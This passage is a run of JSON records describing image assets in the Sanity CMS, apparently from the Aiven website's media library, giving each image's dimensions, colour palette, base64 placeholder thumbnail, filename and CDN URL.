ty.imagePaletteSwatch","background":"#f46309","foreground":"#fff","population":9.55,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8c400c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec7c30","foreground":"#fff","population":0.45,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a46f54","foreground":"#fff","population":1.14,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f46309","foreground":"#fff","population":9.55,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-share.svg","path":"images/sczeoy4w/production/df56110fbc86b7f9bf0475285e44d81ef4b0a81d-20x22.svg","sha1hash":"df56110fbc86b7f9bf0475285e44d81ef4b0a81d","size":324,"uploadId":"oMYDS1QuhKMneuOrSBKuSuTdIxJc0u8d","url":"https://cdn.sanity.io/images/sczeoy4w/production/df56110fbc86b7f9bf0475285e44d81ef4b0a81d-20x22.svg"} {"_createdAt":"2022-07-13T01:08:01Z","_id":"image-df753e05bd5265f5ba977e02d5e69ab587f79c5b-1567x844-png","_rev":"cEPH2uRN58AU2lp9QO8Ogz","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:31:23Z","assetId":"df753e05bd5265f5ba977e02d5e69ab587f79c5b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"McPsSB*0s;Z#XnbcV?bbt8V@t-R4NGt7t6","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACfklEQVQokX3OS08TYRgF4Pk7/gET42XnAhIxcakLNmrYYEQKiEqiaJVIDNgIoQFFCUoEQYKQIBJpqb3BtNNSaGvthXamM535OmVoKcTNe0xbQBfq4snJ2ZwcTlENkuQCZSRGabFmO6NWuyTrJGZrMlKetjMapcUaMZunnFakHCuRohZJZSViepm4REohIRglp9tHDud6NV0eP3nWAuRdC5LbK5DnML+5+CqXR6DARozCMYm+OKM0scDTV0+MtsUCcdsZFaGtONZ9m1jnQ+D9m/AHIhCCUfiEcLX7hC34PQL8Sw74F20IOOz47v4Mz/wknvcOofmOFV39s1h0hMFVrso5g7LKzrFKr5CyOiVTMsV+pCnlEkixvqd8/wDtTpmpNNVImd7z5Gy9SKMtJursHCTrhJ04ppdRs3/oqJch53YQiSbA8wK8HxfgunEPwcuXoD86i5/DJ3HQdwoHt08jea0BM20P8WnODU7L7+FfJFlHKBSBzb6KtyOv0HWlEeb6M1jpbkB67i4yCxaollswrl6A3N6BtN0HTvvj0ZHKWCVz2i7iSRFeL4/x8XdoN5lgam7CiOUx5qbGMDs9CdvIANI3r2OvrQPGihcc+8/DCkU1kEhK8K75MTP9AW+GnmC8rwUvzU14YW7H676ncNzvgtzzDAV3EBxTClBEDaLIIOeM43d/psqKkOQCYtEINpcHER6ux0b3CSx3nsNETyvmrVbE5pfAEllwTFSRjYtIJiSIWR0qKx0PHWF6JctQ1QJY3IOi/QH2x+qgWurAj3bDa7MjFRehaUVwTDWgKgXIyg5yWvGvD38Pl8GYAT0dwa4wC2N1DApvg5SWa0fye/gF2G/sjBctB/0AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#404d55","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#182b4b","foreground":"#fff","population":3.94,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f98c0d","foreground":"#000","population":4.97,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ca949b","foreground":"#000","population":0.53,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f1d06d","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6784b4","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f98c0d","foreground":"#000","population":4.97,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"df753e05bd5265f5ba977e02d5e69ab587f79c5b-1567x844.png","path":"images/sczeoy4w/production/df753e05bd5265f5ba977e02d5e69ab587f79c5b-1567x844.png","sha1hash":"df753e05bd5265f5ba977e02d5e69ab587f79c5b","size":282996,"uploadId":"ENdWsWBjfbfsPgSJRiT4Ifm3eO4UDJe7","url":"https://cdn.sanity.io/images/sczeoy4w/production/df753e05bd5265f5ba977e02d5e69ab587f79c5b-1567x844.png"} {"_createdAt":"2023-09-06T08:25:53Z","_id":"image-df84ff5f3b54934774294966a122d5bd837e86b3-3346x1702-png","_rev":"jBJgpqpGruZvOgVMUB66cv","_type":"sanity.imageAsset","_updatedAt":"2023-09-06T08:25:53Z","assetId":"df84ff5f3b54934774294966a122d5bd837e86b3","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9659224441833139,"height":1702,"width":3346},"exif":{"ColorSpace":1,"PixelXDimension":3346,"PixelYDimension":1702,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABYlAAAWJQFJUiTwAAABbUlEQVQokXXRyY7UMBRA0fz/P4EEv4DEthctBFRV4ul5Hm7LDtVVjWBxldiSj16cTSmL1g5jhct+4/XnD15/Pfp9XDDBIjngy1koAcmyCjUQWyS1ROqJTSmHtR4ngcNobnpHi8F4ixaLEYeLspB16E9zfd/LPa9Kz2z7McGASOTQduVDIqaCk4TSgjZzz1NKptZCbYXWK703+ugf2oyZWML7edhxPSzaRZzPaOO5XHb2fUdESCmSc1pwa5UxOjDOxmCMweZDJoRCCBMQbodF2YCVhLae236gtCKEQEpp9UDbQp/bYszEeIJKW667Wj/I+4yTiLWCc0KMkZTyE1jWlL33D20TuoMT2rXBubDW4hMi8/3EJlJrXc3pWjuR+by3zc+d4IkmxEfmNcx1SoWcC6WcwDw87+nv3u+R8ZjwBOpCTmgi/waeq7UjkjlU4DjCHZx3Mydp1Nren/+b6F7vA2Mz375f+fTlhc9fX3gDEY8KA25FnXgAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#354277","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d267b","foreground":"#fff","population":0.16,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1d267b","foreground":"#fff","population":0.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acc4b6","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bdfccc","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#847cac","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4d55ad","foreground":"#fff","population":0.08,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"flink-bq-add-statement.png","path":"images/sczeoy4w/production/df84ff5f3b54934774294966a122d5bd837e86b3-3346x1702.png","sha1hash":"df84ff5f3b54934774294966a122d5bd837e86b3","size":414073,"uploadId":"Ua9yk6HFJr9UFsAgJSF4xD15GY5V6nX4","url":"https://cdn.sanity.io/images/sczeoy4w/production/df84ff5f3b54934774294966a122d5bd837e86b3-3346x1702.png"} {"_createdAt":"2022-06-30T11:56:59Z","_id":"image-dfa0a52d74e08b58cf64047309cc25d4ce93101b-640x294-png","_rev":"QRl2cGoCgj0FlAhkRrhgPg","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:18:18Z","assetId":"dfa0a52d74e08b58cf64047309cc25d4ce93101b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M3PjS?00000000_NE0.7.7-.01tlV[_3%g","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.17687074829932,"height":294,"width":640},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAAsTAAALEwEAmpwYAAABrUlEQVQokUWQTWsUQRCG52cIguBBDwqC5BIPShA8eBA8eBG8+CvEGIJJNIwSEDRMks2qiHgQhURibiGTf+AGhVWX/WTc0fR0d1V1Vc/uTXpC2If30DQ8VNUb3d38eO/1p/tvP6/spgeN5o9fvU530O8Per1+vzfIh3mhCl1orSYxhVZHKsv+RLdX3996+e7O2od452DvsH3YzofKWACtjTEWkdhxCLNMIo6cKnR0Y6U+E2/cfPHm2df0WyfLCyT23ntABABEdBUs1e8JzGysja7FtStPkuvP6/Fu2hr+ZZGyLH1ZAoCpsNYCAgU/wCcEeXq5NrW0djWuP90JsnA1oSwBURujq+3BAtFEdo4qGaKpxfVLj5Pp5c2FL/ut4T8R8RJsQApTtbZagzYEGM4W4ZDwsojRxfnk/Nyry0sb89v7rVyNKnxZknME4AAdhjCRsHgR75wQeRHHEp2dS87Mrl5YrM1upb9zNR6PR+ORlN4SAAA7d9xw1bYIkcsy7HatUgowOv1o/dTD5NxC/cFW+jMLN4sX50Vj2JqIjtsOhTOj1rrZPGo0Ou3u90H2HzqeyfyehxZ+AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#377274","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#137b94","foreground":"#fff","population":1.66,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#137b94","foreground":"#fff","population":1.66,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#93becc","foreground":"#000","population":0.16,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#91c0e2","foreground":"#000","population":0.13,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#639fab","foreground":"#fff","population":1.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cc4e4d","foreground":"#fff","population":0.36,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"dfa0a52d74e08b58cf64047309cc25d4ce93101b-640x294.png","path":"images/sczeoy4w/production/dfa0a52d74e08b58cf64047309cc25d4ce93101b-640x294.png","sha1hash":"dfa0a52d74e08b58cf64047309cc25d4ce93101b","size":22364,"uploadId":"a1DNyJbtC5xO4Y0Vm3GkNfXhe1TLyCX0","url":"https://cdn.sanity.io/images/sczeoy4w/production/dfa0a52d74e08b58cf64047309cc25d4ce93101b-640x294.png"} {"_createdAt":"2024-07-03T08:40:38Z","_id":"image-dfe2b24d746f8711986a54f25f2db2b0354030ef-2880x692-png","_rev":"dL4QB5BmM9bhrJSKRq53Lj","_type":"sanity.imageAsset","_updatedAt":"2024-07-03T08:40:38Z","assetId":"dfe2b24d746f8711986a54f25f2db2b0354030ef","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D37-4@of00WBD*0IWB_AoMtb","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.161849710982659,"height":692,"width":2880},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsTAAALEwEAmpwYAAABIElEQVQYlUXObU+CYBSAYT6ZzFlTU0AEldRBKBgqj2TD+ZYmUrZc//+f3E0y+3BvZ+ds145UzmlUbwyMok1fiZkYCePGjpG+ZaTvmDT2l90bY32X3YSZZoVGgq8tad66mXG2pEoGNlDlNs2iS6c0wq5EeMqCJ21zbait8dQFvrrCV5c49xG9ckinFKAXOplxtqSz/JcqN9GLFlbZZaDNGJsbwtY2KzBW+PWYoT7nUQkx73o0ihb1gkUtb14NSc23sqEmG7SrFsOegxj4PA9C5qMX1mLOSsTEQcTMF8z8KaIfENguftfBUh5Q5MtD+dY/qBZMvK7NfhNyPESkuymfacT3acbpa8rxPeTjIEheBemb4JhEbBcTvK6DVjCp5n7BH8XQkt3p0DYLAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343048","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1a045c","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7b55b1","foreground":"#fff","population":2.86,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d1bfdc","foreground":"#000","population":0.22,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e7ec9e","foreground":"#000","population":2.74,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7b55b1","foreground":"#fff","population":2.86,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#945cdf","foreground":"#fff","population":0.06,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Backmarket5.png","path":"images/sczeoy4w/production/dfe2b24d746f8711986a54f25f2db2b0354030ef-2880x692.png","sha1hash":"dfe2b24d746f8711986a54f25f2db2b0354030ef","size":84925,"uploadId":"Z3PlxzxleBf6TbLzZAgSlYBpPNBWH4br","url":"https://cdn.sanity.io/images/sczeoy4w/production/dfe2b24d746f8711986a54f25f2db2b0354030ef-2880x692.png"} {"_createdAt":"2022-07-05T12:01:45Z","_id":"image-e03218464730fdd36ab5fd75527ca2e9e4737436-2500x3125-png","_rev":"oamrAPLmQLQjd9jh7gnVXy","_type":"sanity.imageAsset","_updatedAt":"2022-07-05T12:01:45Z","assetId":"e03218464730fdd36ab5fd75527ca2e9e4737436","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"dJKdMkt,00#S9};[+@Sk009d_MW;nMBqJCn~1tt2-=o[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.8,"height":3125,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#676350","foreground":"#fff","population":0.14,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#10215c","foreground":"#fff","population":0.33,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f65e14","foreground":"#fff","population":0.47,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b29bae","foreground":"#000","population":0.46,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#899cf5","foreground":"#000","population":0.1,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#659dad","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f65e14","foreground":"#fff","population":0.47,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"wolt-image-composition.png","path":"images/sczeoy4w/production/e03218464730fdd36ab5fd75527ca2e9e4737436-2500x3125.png","sha1hash":"e03218464730fdd36ab5fd75527ca2e9e4737436","size":132580,"uploadId":"UWS2M9brJiqAeoxv7SF07Q5uobRPHUGH","url":"https://cdn.sanity.io/images/sczeoy4w/production/e03218464730fdd36ab5fd75527ca2e9e4737436-2500x3125.png"} {"_createdAt":"2023-05-15T10:10:50Z","_id":"image-e032f30607bb834728512168bca38b0d39c84ce0-1324x765-png","_rev":"rmwlP4nleGzuGoL3WAOB5i","_type":"sanity.imageAsset","_updatedAt":"2023-05-16T13:55:08Z","altText":"Aiven Console services screenshot","assetId":"e032f30607bb834728512168bca38b0d39c84ce0","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M4S~t}s=D*%N9G~WRiRPRjRPWAjYM{WAe.","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.730718954248366,"height":765,"width":1324},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA50lEQVQokW2S4XLEIAiEff837XR65yQ5ERbojZB4Ztr9J/LpLlqeX99b3YhYQqpqIf2jWRcRDpX6U/ft6MTCgzczd8+OKQBQzC2OTlUtz8d27I17dAAeArCSeW1uqWo0jkqpdX+9iDlZcT+Pz3UadvffkA9lotFWjoNaYxHwMM7T2xrVF5lZnmnmpTUmgsjwOW1H5rNyHZKZTdWyPGwTScLA2E5vAvTeqXeOPCtsZnJOwW9wxgtYqXO/ppqPdJmaNy9w8hNOcrF9e+e0ucKfzMDZ8e8nYb7DzBgTH0/1meo65CkA85O8AcFEh7FqG5BeAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6d6d6d","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#801803","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6d6d6d","foreground":"#fff","population":0.02,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4b9c1","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcac9c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#896c74","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f72f07","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"platform.png","path":"images/sczeoy4w/production/e032f30607bb834728512168bca38b0d39c84ce0-1324x765.png","sha1hash":"e032f30607bb834728512168bca38b0d39c84ce0","size":38985,"title":null,"uploadId":"zeC1BckMRnm5uhGDyNB4nRYDqB8lVDEE","url":"https://cdn.sanity.io/images/sczeoy4w/production/e032f30607bb834728512168bca38b0d39c84ce0-1324x765.png"} {"_createdAt":"2023-12-15T10:01:40Z","_id":"image-e09858f27d27718d69de269f4a31c7c31134f4dc-6000x4000-jpg","_rev":"Do3156plRwIXmiihNwhUGp","_type":"sanity.imageAsset","_updatedAt":"2023-12-15T10:01:40Z","assetId":"e09858f27d27718d69de269f4a31c7c31134f4dc","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5,"height":4000,"width":6000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAcCAwb/xAAkEAACAQQBAwUBAAAAAAAAAAABAgMABAUREgYHURMUISIycf/EABYBAQEBAAAAAAAAAAAAAAAAAAQCBf/EAB0RAAICAgMBAAAAAAAAAAAAAAEDAAIEERJBccH/2gAMAwEAAhEDEQA/AFn3GyNhkhPFNKnut7jCjej4JqrG4hbfG2bXCSosycQU+SXpdX1zJc3ks7/p2LECmhj8/Li+m7NliE0hQMrSNsL/AAUrBUytOCj71JyH0vfmwfZC57eSvMXOWjt+f29NjsrvzRWVvuqr6e6klYJyY7NFaNcdIGrMO4GzmE7Cxr2f/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#683f3b","foreground":"#fff","population":7.39,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0642a8","foreground":"#fff","population":8.18,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#af7153","foreground":"#fff","population":8.67,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c9b9c6","foreground":"#000","population":2.69,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#709ce8","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#af7153","foreground":"#fff","population":8.67,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#065cd7","foreground":"#fff","population":0.37,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"epR4_fwE.jpeg","path":"images/sczeoy4w/production/e09858f27d27718d69de269f4a31c7c31134f4dc-6000x4000.jpg","sha1hash":"e09858f27d27718d69de269f4a31c7c31134f4dc","size":3433241,"uploadId":"RjGWzCbWuYMSEi8yV2ESnZpZvqCvF2Vy","url":"https://cdn.sanity.io/images/sczeoy4w/production/e09858f27d27718d69de269f4a31c7c31134f4dc-6000x4000.jpg"} {"_createdAt":"2023-09-19T21:48:23Z","_id":"image-e0a34bfd5da9990bade741640765ea43a970784b-1631x606-png","_rev":"kaQ4ZWos4gq6sBfd7rZmi7","_type":"sanity.imageAsset","_updatedAt":"2023-09-19T21:48:23Z","assetId":"e0a34bfd5da9990bade741640765ea43a970784b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DQRyscnyx^_4xv-=xvNFM_WA","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.6914191419141913,"height":606,"width":1631},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAABYklEQVQokXXQbU/bMBSG4f7/f9FPk0BoCASqBnxZ1xYJ2ARtoIisa+umpE2blyZpasfOPTkw9qJh6ZEs+fjSOaeRpil5nrOTklJrtDav0eiyRMsIvZujVfb2ppQiimOEN2c8FYiZx2IZECcbGqX9pDXGGIyxoCRLQmY/XMT3IWk4piw8SpXVNVVV1fVRnNTQeDJlMhXMn33CKKZhC+zRRrJVAZt0xujhhvPDD7T2m9z1zlkIl00SIeWuBi2c5VvWYUSwWrNah/U93qQvoE2hIoL0AT/o4zodOmcHnBw0Odprcn3Zw/cXFNucyk5SVfWKLJpm+V95BQ1Z4eMtrxDjLmLY5dHp0b28oPXpI1+v2gQLD/XWYYWUqgb/zW8wf0ZMvuAOTnnqn+Hcd7gefObm9oLRsE0cuOhyV6/HjvwLfKfDClUkrMQ33MExfeeQu6dTHLfFaNRmObslTzyMVv8F/+zwJ3X1Dg6cfEzWAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#764c3e","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5c341e","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e78c54","foreground":"#000","population":0.41,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cfc99b","foreground":"#000","population":0.36,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5d29c","foreground":"#000","population":0.34,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#90a565","foreground":"#000","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e78c54","foreground":"#000","population":0.41,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"e0a34bfd5da9990bade741640765ea43a970784b-1631x606.png","path":"images/sczeoy4w/production/e0a34bfd5da9990bade741640765ea43a970784b-1631x606.png","sha1hash":"e0a34bfd5da9990bade741640765ea43a970784b","size":194958,"uploadId":"yISsdVi2Xkqdix77YlSCMKek3vsRWnlM","url":"https://cdn.sanity.io/images/sczeoy4w/production/e0a34bfd5da9990bade741640765ea43a970784b-1631x606.png"} {"_createdAt":"2024-04-11T07:05:34Z","_id":"image-e0a5a9cd97dc2b1a1ebca6dacd9be6b073feb85a-2500x1308-png","_rev":"sTC1jODyLrHPabSP0TI7dT","_type":"sanity.imageAsset","_updatedAt":"2024-04-11T07:05:34Z","assetId":"e0a5a9cd97dc2b1a1ebca6dacd9be6b073feb85a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M47dr1G2rBV$9:*J~E53Iv-WI*-sNDWCxb","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAABcRAAAXEQHKJvM/AAACOElEQVQokWXOW1MSUQDA8f0EurK3s+w5Z/fsLsK64OUhc8owUoayQMHFWWlJVEhRuWkoal4S0kBpNGt6qOmlaeo71GPTW++990UapqemD/Cb/5+igcVh2605bm1e0pZQ74psFIhRUc0nWqCmDzzVBw5J4BgbdWycYLOFjAZQN1zSAg1sikd24Fo+GN4aHd8eHd8N3T0KR5+Ho6fjk82JaDsyfRmOvboeamv9